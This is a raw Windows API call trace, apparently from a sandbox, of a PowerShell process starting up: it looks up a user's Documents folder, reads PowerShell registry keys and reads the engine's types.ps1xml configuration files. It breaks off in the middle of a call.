[0057.268] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x391da8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned 0x0 [0057.270] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", nBufferLength=0x105, lpBuffer=0x25e1d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", lpFilePart=0x0) returned 0x27 [0057.270] GetLastError () returned 0x3f0 [0057.271] SetEnvironmentVariableW (lpName="PSMODULEPATH", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WindowsPowerShell\\Modules;C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 1 [0057.271] GetLastError () returned 0x3f0 [0057.290] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e5f0 | out: phkResult=0x25e5f0*=0x35c) returned 0x0 [0057.292] RegQueryValueExW (in: hKey=0x35c, lpValueName="path", lpReserved=0x0, lpType=0x25e658, lpData=0x0, lpcbData=0x25e654*=0x0 | out: lpType=0x25e658*=0x1, lpData=0x0, lpcbData=0x25e654*=0x74) returned 0x0 [0057.292] RegQueryValueExW (in: hKey=0x35c, lpValueName="path", lpReserved=0x0, lpType=0x25e638, lpData=0x0, lpcbData=0x25e634*=0x0 | out: lpType=0x25e638*=0x1, lpData=0x0, lpcbData=0x25e634*=0x74) returned 0x0 [0057.292] RegQueryValueExW (in: hKey=0x35c, lpValueName="path", lpReserved=0x0, lpType=0x25e638, lpData=0x391da8, lpcbData=0x25e634*=0x74 | out: lpType=0x25e638*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpcbData=0x25e634*=0x74) returned 0x0 [0057.292] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", nBufferLength=0x105, lpBuffer=0x25e1b8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpFilePart=0x0) returned 0x2a [0057.292] GetLastError () returned 0xcb [0057.292] SetErrorMode (uMode=0x1) returned 0x1 [0057.292] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x25e638 | out: lpFileInformation=0x25e638*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0057.292] GetLastError () returned 0xcb [0057.292] SetErrorMode (uMode=0x1) returned 0x1 [0057.295] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x25e1ac, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0057.295] GetLastError () returned 0xcb [0057.295] SetErrorMode (uMode=0x1) returned 0x1 [0057.295] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\getevent.types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x25e62c | out: lpFileInformation=0x25e62c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a0058e2, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a0058e2, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd7bbaefc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x3cf3)) returned 1 [0057.295] GetLastError () returned 0xcb [0057.295] SetErrorMode (uMode=0x1) returned 0x1 [0057.296] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x25e1ac, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0057.296] GetLastError () returned 0xcb [0057.297] SetErrorMode (uMode=0x1) returned 0x1 [0057.297] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x25e62c | out: lpFileInformation=0x25e62c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7c2d31c, ftCreationTime.dwHighDateTime=0x1c9ea11, ftLastAccessTime.dwLowDateTime=0xd7c2d31c, ftLastAccessTime.dwHighDateTime=0x1c9ea11, ftLastWriteTime.dwLowDateTime=0xd7c5347c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x291b4)) returned 1 [0057.297] GetLastError () returned 0xcb [0057.297] SetErrorMode (uMode=0x1) returned 0x1 [0057.301] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0057.301] GetLastError () returned 0xcb [0057.302] GetACP () returned 0x4e4 [0057.315] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x25e03c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0057.315] GetLastError () returned 0x0 [0057.315] SetErrorMode (uMode=0x1) returned 0x1 [0057.317] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\getevent.types.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x360 [0057.317] GetLastError () returned 0x0 [0057.318] GetFileType (hFile=0x360) returned 0x1 [0057.318] SetErrorMode (uMode=0x1) returned 0x1 [0057.319] GetFileType (hFile=0x360) returned 0x1 [0057.320] ReadFile (in: hFile=0x360, lpBuffer=0x2b94628, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e5a4, lpOverlapped=0x0 | out: lpBuffer=0x2b94628*, lpNumberOfBytesRead=0x25e5a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.322] GetLastError () returned 0x0 [0057.323] ReadFile (in: hFile=0x360, lpBuffer=0x2b94628, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e5a4, lpOverlapped=0x0 | out: lpBuffer=0x2b94628*, lpNumberOfBytesRead=0x25e5a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.323] GetLastError () returned 0x0 [0057.323] ReadFile (in: hFile=0x360, lpBuffer=0x2b94628, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e5a4, lpOverlapped=0x0 | out: lpBuffer=0x2b94628*, lpNumberOfBytesRead=0x25e5a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.323] GetLastError () returned 0x0 [0057.324] ReadFile (in: hFile=0x360, lpBuffer=0x2b94628, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e5a4, lpOverlapped=0x0 | out: lpBuffer=0x2b94628*, lpNumberOfBytesRead=0x25e5a4*=0xcf3, lpOverlapped=0x0) returned 1 [0057.324] GetLastError () returned 0x0 [0057.324] ReadFile (in: hFile=0x360, lpBuffer=0x2b93abb, nNumberOfBytesToRead=0x30d, lpNumberOfBytesRead=0x25e5a4, lpOverlapped=0x0 | out: lpBuffer=0x2b93abb*, lpNumberOfBytesRead=0x25e5a4*=0x0, lpOverlapped=0x0) returned 1 [0057.324] GetLastError () returned 0x0 [0057.324] ReadFile (in: hFile=0x360, lpBuffer=0x2b94628, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e5a4, lpOverlapped=0x0 | out: lpBuffer=0x2b94628*, lpNumberOfBytesRead=0x25e5a4*=0x0, lpOverlapped=0x0) returned 1 [0057.324] GetLastError () returned 0x0 [0057.324] CloseHandle (hObject=0x360) returned 1 [0057.324] GetLastError () returned 0x0 [0057.326] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x25e104, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0057.326] GetLastError () returned 0x0 [0057.326] SetErrorMode (uMode=0x1) returned 0x1 [0057.326] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\getevent.types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2ba599c | out: lpFileInformation=0x2ba599c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a0058e2, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a0058e2, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd7bbaefc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x3cf3)) returned 1 [0057.326] GetLastError () returned 0x0 [0057.326] SetErrorMode (uMode=0x1) returned 0x1 [0057.328] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x25e0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0057.328] GetLastError () returned 0x0 [0057.328] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e528 | out: phkResult=0x25e528*=0x360) returned 0x0 [0057.328] RegQueryValueExW (in: hKey=0x360, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x25e570, lpData=0x0, lpcbData=0x25e56c*=0x0 | out: lpType=0x25e570*=0x1, lpData=0x0, lpcbData=0x25e56c*=0x56) returned 0x0 [0057.328] RegQueryValueExW (in: hKey=0x360, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x25e570, lpData=0x391da8, lpcbData=0x25e56c*=0x56 | out: lpType=0x25e570*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x25e56c*=0x56) returned 0x0 [0057.329] RegCloseKey (hKey=0x360) returned 0x0 [0057.329] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x25e0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0057.329] GetLastError () returned 0x0 [0057.329] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x25e064, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0057.329] GetLastError () returned 0x0 [0057.396] GetSystemInfo (in: lpSystemInfo=0x25dca8 | out: lpSystemInfo=0x25dca8*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0057.397] VirtualQuery (in: lpAddress=0x25d464, lpBuffer=0x25e464, dwLength=0x1c | out: lpBuffer=0x25e464*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0057.421] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x25e03c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0057.421] GetLastError () returned 0x0 [0057.421] SetErrorMode (uMode=0x1) returned 0x1 [0057.421] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\types.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x360 [0057.421] GetLastError () returned 0x0 [0057.421] GetFileType (hFile=0x360) returned 0x1 [0057.422] SetErrorMode (uMode=0x1) returned 0x1 [0057.422] GetFileType (hFile=0x360) returned 0x1 [0057.422] ReadFile (in: hFile=0x360, lpBuffer=0x2bd9db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e5a4, lpOverlapped=0x0 | out: lpBuffer=0x2bd9db8*, lpNumberOfBytesRead=0x25e5a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.424] GetLastError () returned 0x0 [0057.424] ReadFile (in: hFile=0x360, lpBuffer=0x2bd9db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e5a4, lpOverlapped=0x0 | out: lpBuffer=0x2bd9db8*, lpNumberOfBytesRead=0x25e5a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.426] GetLastError () returned 0x0 [0057.426] ReadFile (in: hFile=0x360, lpBuffer=0x2bd9db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e5a4, lpOverlapped=0x0 | out: lpBuffer=0x2bd9db8*, lpNumberOfBytesRead=0x25e5a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.426] GetLastError () returned 0x0 [0057.427] ReadFile (in: hFile=0x360, lpBuffer=0x2bd9db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e5a4, lpOverlapped=0x0 | out: lpBuffer=0x2bd9db8*, lpNumberOfBytesRead=0x25e5a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.427] GetLastError () returned 0x0 [0057.427] ReadFile (in: hFile=0x360, lpBuffer=0x2bd9db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e5a4, lpOverlapped=0x0 | out: lpBuffer=0x2bd9db8*, lpNumberOfBytesRead=0x25e5a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.427] GetLastError () returned 0x0 [0057.428] ReadFile (in: hFile=0x360, lpBuffer=0x2bd9db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e5a4, lpOverlapped=0x0 | out: lpBuffer=0x2bd9db8*, lpNumberOfBytesRead=0x25e5a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.428] GetLastError () returned 0x0 [0057.428] ReadFile (in: hFile=0x360, lpBuffer=0x2bd9db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e5a4, lpOverlapped=0x0 | out: lpBuffer=0x2bd9db8*, lpNumberOfBytesRead=0x25e5a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.428] GetLastError () returned 0x0 [0057.428] ReadFile (in: hFile=0x360, lpBuffer=0x2bd9db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e5a4, lpOverlapped=0x0 | out: lpBuffer=0x2bd9db8*, lpNumberOfBytesRead=0x25e5a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.428] GetLastError () returned 0x0 [0057.428] ReadFile (in: hFile=0x360, lpBuffer=0x2bd9db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e5a4, lpOverlapped=0x0 | out: lpBuffer=0x2bd9db8*, lpNumberOfBytesRead=0x25e5a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.428] GetLastError () returned 0x0 [0057.430] ReadFile (in: hFile=0x360, lpBuffer=0x2bd9db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e5a4, lpOverlapped=0x0 | out: lpBuffer=0x2bd9db8*, lpNumberOfBytesRead=0x25e5a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.430] GetLastError () returned 0x0 [0057.430] ReadFile (in: hFile=0x360, lpBuffer=0x2bd9db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e5a4, lpOverlapped=0x0 | out: lpBuffer=0x2bd9db8*, lpNumberOfBytesRead=0x25e5a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.430] GetLastError () returned 0x0 [0057.430] ReadFile (in: hFile=0x360, lpBuffer=0x2bd9db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e5a4, lpOverlapped=0x0 | out: lpBuffer=0x2bd9db8*, lpNumberOfBytesRead=0x25e5a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.430] GetLastError () returned 0x0 [0057.430] ReadFile (in: hFile=0x360, lpBuffer=0x2bd9db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e5a4, lpOverlapped=0x0 | out: lpBuffer=0x2bd9db8*, lpNumberOfBytesRead=0x25e5a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.430] GetLastError () returned 0x0 [0057.431] ReadFile (in: hFile=0x360, lpBuffer=0x2bd9db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e5a4, lpOverlapped=0x0 | out: lpBuffer=0x2bd9db8*, lpNumberOfBytesRead=0x25e5a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.431] GetLastError () returned 0x0 [0057.431] ReadFile (in: hFile=0x360, lpBuffer=0x2bd9db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e5a4, lpOverlapped=0x0 | out: lpBuffer=0x2bd9db8*, lpNumberOfBytesRead=0x25e5a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.431] GetLastError () returned 0x0 [0057.431] ReadFile (in: hFile=0x360, lpBuffer=0x2bd9db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e5a4, lpOverlapped=0x0 | out: lpBuffer=0x2bd9db8*, lpNumberOfBytesRead=0x25e5a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.431] GetLastError () returned 0x0 [0057.431] ReadFile (in: hFile=0x360, lpBuffer=0x2bd9db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e5a4, lpOverlapped=0x0 | out: lpBuffer=0x2bd9db8*, lpNumberOfBytesRead=0x25e5a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.431] GetLastError () returned 0x0 [0057.433] ReadFile (in: hFile=0x360, lpBuffer=0x2bd9db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e5a4, lpOverlapped=0x0 | out: lpBuffer=0x2bd9db8*, lpNumberOfBytesRead=0x25e5a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.434] GetLastError () returned 0x0 [0057.434] ReadFile (in: hFile=0x360, lpBuffer=0x2bd9db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e5a4, lpOverlapped=0x0 | out: lpBuffer=0x2bd9db8*, lpNumberOfBytesRead=0x25e5a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.434] GetLastError () returned 0x0 [0057.434] ReadFile (in: hFile=0x360, lpBuffer=0x2bd9db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e5a4, lpOverlapped=0x0 | out: lpBuffer=0x2bd9db8*, lpNumberOfBytesRead=0x25e5a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.434] GetLastError () returned 0x0 [0057.434] ReadFile (in: hFile=0x360, lpBuffer=0x2bd9db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e5a4, lpOverlapped=0x0 | out: lpBuffer=0x2bd9db8*, lpNumberOfBytesRead=0x25e5a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.434] GetLastError () returned 0x0 [0057.435] ReadFile (in: hFile=0x360, lpBuffer=0x2bd9db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e5a4, lpOverlapped=0x0 | out: lpBuffer=0x2bd9db8*, lpNumberOfBytesRead=0x25e5a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.435] GetLastError () returned 0x0 [0057.435] ReadFile (in: hFile=0x360, lpBuffer=0x2bd9db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e5a4, lpOverlapped=0x0 | out: lpBuffer=0x2bd9db8*, lpNumberOfBytesRead=0x25e5a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.435] GetLastError () returned 0x0 [0057.435] ReadFile (in: hFile=0x360, lpBuffer=0x2bd9db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e5a4, lpOverlapped=0x0 | out: lpBuffer=0x2bd9db8*, lpNumberOfBytesRead=0x25e5a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.435] GetLastError () returned 0x0 [0057.435] ReadFile (in: hFile=0x360, lpBuffer=0x2bd9db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e5a4, lpOverlapped=0x0 | out: lpBuffer=0x2bd9db8*, lpNumberOfBytesRead=0x25e5a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.435] GetLastError () returned 0x0 [0057.436] ReadFile (in: hFile=0x360, lpBuffer=0x2bd9db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e5a4, lpOverlapped=0x0 | out: lpBuffer=0x2bd9db8*, lpNumberOfBytesRead=0x25e5a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.436] GetLastError () returned 0x0 [0057.436] ReadFile (in: hFile=0x360, lpBuffer=0x2bd9db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e5a4, lpOverlapped=0x0 | out: lpBuffer=0x2bd9db8*, lpNumberOfBytesRead=0x25e5a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.436] GetLastError () returned 0x0 [0057.436] ReadFile (in: hFile=0x360, lpBuffer=0x2bd9db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e5a4, lpOverlapped=0x0 | out: lpBuffer=0x2bd9db8*, lpNumberOfBytesRead=0x25e5a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.436] GetLastError () returned 0x0 [0057.437] ReadFile (in: hFile=0x360, lpBuffer=0x2bd9db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e5a4, lpOverlapped=0x0 | out: lpBuffer=0x2bd9db8*, lpNumberOfBytesRead=0x25e5a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.437] GetLastError () returned 0x0 [0057.437] ReadFile (in: hFile=0x360, lpBuffer=0x2bd9db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e5a4, lpOverlapped=0x0 | out: lpBuffer=0x2bd9db8*, lpNumberOfBytesRead=0x25e5a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.437] GetLastError () returned 0x0 [0057.437] ReadFile (in: hFile=0x360, lpBuffer=0x2bd9db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e5a4, lpOverlapped=0x0 | out: lpBuffer=0x2bd9db8*, lpNumberOfBytesRead=0x25e5a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.437] GetLastError () returned 0x0 [0057.437] ReadFile (in: hFile=0x360, lpBuffer=0x2bd9db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e5a4, lpOverlapped=0x0 | out: lpBuffer=0x2bd9db8*, lpNumberOfBytesRead=0x25e5a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.437] GetLastError () returned 0x0 [0057.438] ReadFile (in: hFile=0x360, lpBuffer=0x2bd9db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e5a4, lpOverlapped=0x0 | out: lpBuffer=0x2bd9db8*, lpNumberOfBytesRead=0x25e5a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.438] GetLastError () returned 0x0 [0057.443] ReadFile (in: hFile=0x360, lpBuffer=0x2bd9db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e5a4, lpOverlapped=0x0 | out: lpBuffer=0x2bd9db8*, lpNumberOfBytesRead=0x25e5a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.443] GetLastError () returned 0x0 [0057.444] ReadFile (in: hFile=0x360, lpBuffer=0x2bd9db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e5a4, lpOverlapped=0x0 | out: lpBuffer=0x2bd9db8*, lpNumberOfBytesRead=0x25e5a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.444] GetLastError () returned 0x0 [0057.444] ReadFile (in: hFile=0x360, lpBuffer=0x2bd9db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e5a4, lpOverlapped=0x0 | out: lpBuffer=0x2bd9db8*, lpNumberOfBytesRead=0x25e5a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.444] GetLastError () returned 0x0 [0057.444] ReadFile (in: hFile=0x360, lpBuffer=0x2bd9db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e5a4, lpOverlapped=0x0 | out: lpBuffer=0x2bd9db8*, lpNumberOfBytesRead=0x25e5a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.444] GetLastError () returned 0x0 [0057.444] ReadFile (in: hFile=0x360, lpBuffer=0x2bd9db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e5a4, lpOverlapped=0x0 | out: lpBuffer=0x2bd9db8*, lpNumberOfBytesRead=0x25e5a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.444] GetLastError () returned 0x0 [0057.445] ReadFile (in: hFile=0x360, lpBuffer=0x2bd9db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e5a4, lpOverlapped=0x0 | out: lpBuffer=0x2bd9db8*, lpNumberOfBytesRead=0x25e5a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.445] GetLastError () returned 0x0 [0057.446] ReadFile (in: hFile=0x360, lpBuffer=0x2bd9db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e5a4, lpOverlapped=0x0 | out: lpBuffer=0x2bd9db8*, lpNumberOfBytesRead=0x25e5a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.446] GetLastError () returned 0x0 [0057.446] ReadFile (in: hFile=0x360, lpBuffer=0x2bd9db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e5a4, lpOverlapped=0x0 | out: lpBuffer=0x2bd9db8*, lpNumberOfBytesRead=0x25e5a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.446] GetLastError () returned 0x0 [0057.446] ReadFile (in: hFile=0x360, lpBuffer=0x2bd9db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e5a4, lpOverlapped=0x0 | out: lpBuffer=0x2bd9db8*, lpNumberOfBytesRead=0x25e5a4*=0x1b4, lpOverlapped=0x0) returned 1 [0057.446] GetLastError () returned 0x0 [0057.446] ReadFile (in: hFile=0x360, lpBuffer=0x2bd9db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e5a4, lpOverlapped=0x0 | out: lpBuffer=0x2bd9db8*, lpNumberOfBytesRead=0x25e5a4*=0x0, lpOverlapped=0x0) returned 1 [0057.446] GetLastError () returned 0x0 [0057.446] CloseHandle (hObject=0x360) returned 1 [0057.447] GetLastError () returned 0x0 [0057.447] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x25e104, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0057.447] GetLastError () returned 0x0 [0057.447] SetErrorMode (uMode=0x1) returned 0x1 [0057.447] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml" (normalized: 